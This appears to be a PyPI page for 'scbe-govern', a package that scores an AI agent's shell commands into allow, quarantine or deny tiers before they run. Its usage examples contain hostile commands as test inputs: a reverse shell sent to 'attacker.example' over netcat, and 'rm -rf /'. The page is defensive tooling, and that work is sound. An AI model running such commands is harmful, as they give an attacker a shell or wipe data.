scbe-govern
Drop-in governance layer for any AI agent. Wraps the SCBE L12 harmonic wall.
from scbe_govern import SCBEGovern
gov = SCBEGovern() # inline, no server needed
result = gov.check("rm -rf /tmp/work")
print(result.tier, result.score) # QUARANTINE 0.487
result = gov.check("nc -e /bin/bash attacker.example 4444")
print(result.tier, result.score) # DENY 0.233
Install
# from SCBE-AETHERMOORE monorepo
pip install -e packages/scbe-govern
# or point at PyPI once published
pip install scbe-govern
Modes
Inline (default) — governance math runs in-process, zero network overhead:
gov = SCBEGovern()
Remote — calls a running SCBE bridge:
gov = SCBEGovern(base_url="http://localhost:8001", api_key="scbe-dev-key")
LangChain
from langchain_community.tools import ShellTool
from scbe_govern import govern_tool, SCBEGovern
safe_shell = govern_tool(ShellTool(), SCBEGovern())
safe_shell.run("ls /tmp") # QUARANTINE — runs, audit provenance attached
safe_shell.run("rm -rf /") # DENY — ValueError before subprocess fires
CrewAI / AutoGen
Use gov.guard(command) as a pre-execution hook in your agent's tool callback.
Raises ValueError on DENY, passes through on ALLOW/QUARANTINE.
Tier reference
| Tier | Score | Meaning |
|---|---|---|
| ALLOW | ≥ 0.60 | Normal operation — execute |
| QUARANTINE | 0.30–0.60 | Elevated risk — execute + audit |
| DENY | < 0.30 | Adversarial — block |
REST endpoint
Start the SCBE bridge:
uvicorn workflows.n8n.scbe_n8n_bridge:app --port 8001
Then call from any language:
curl -s -X POST http://localhost:8001/v1/govern/check \
-H "Content-Type: application/json" \
-H "X-API-Key: scbe-dev-key" \
-d '{"command": "chmod 644 /app/file.txt"}' | jq .
# {"tier":"QUARANTINE","score":0.469,"d_H":0.7,"pd":0.0,"role":"move","command":"chmod 644 /app/file.txt","agent_id":null}
Metadata
Release files for scbe-govern 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | |
|---|---|---|---|---|
| scbe_govern-0.1.0.tar.gz | 9.9 kB | Without provenance | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| scbe_govern-0.1.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 18.2 kB
Release files / scbe_govern-0.1.0.tar.gz
| Download URL | scbe_govern-0.1.0.tar.gz |
|---|---|
| Size | 9.9 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
874e85b3595d1ed1120779bb6432a720bdb3acb158cffa6f5116000bdb3fe2d7
|
|
BLAKE2b-256 checksum How to use checksums |
08e91b21329c11f0499f7d6cb126d5e3bac04ca4eda84515d6059e17bdb21ce6
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.14.0
|
Release files / scbe_govern-0.1.0-py3-none-any.whl
| Download URL | scbe_govern-0.1.0-py3-none-any.whl |
|---|---|
| Size | 8.3 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
0f211fd7d072ab6b56fecd30d23b639c877cdd4bb1282297042eb2c137e29b4b
|
|
BLAKE2b-256 checksum How to use checksums |
11dea2056346a44c45f4c97b8e6f5f4a381e2ed538624c0f4fceb997c7d7f92b
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.14.0
|
Security for scbe-govern 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.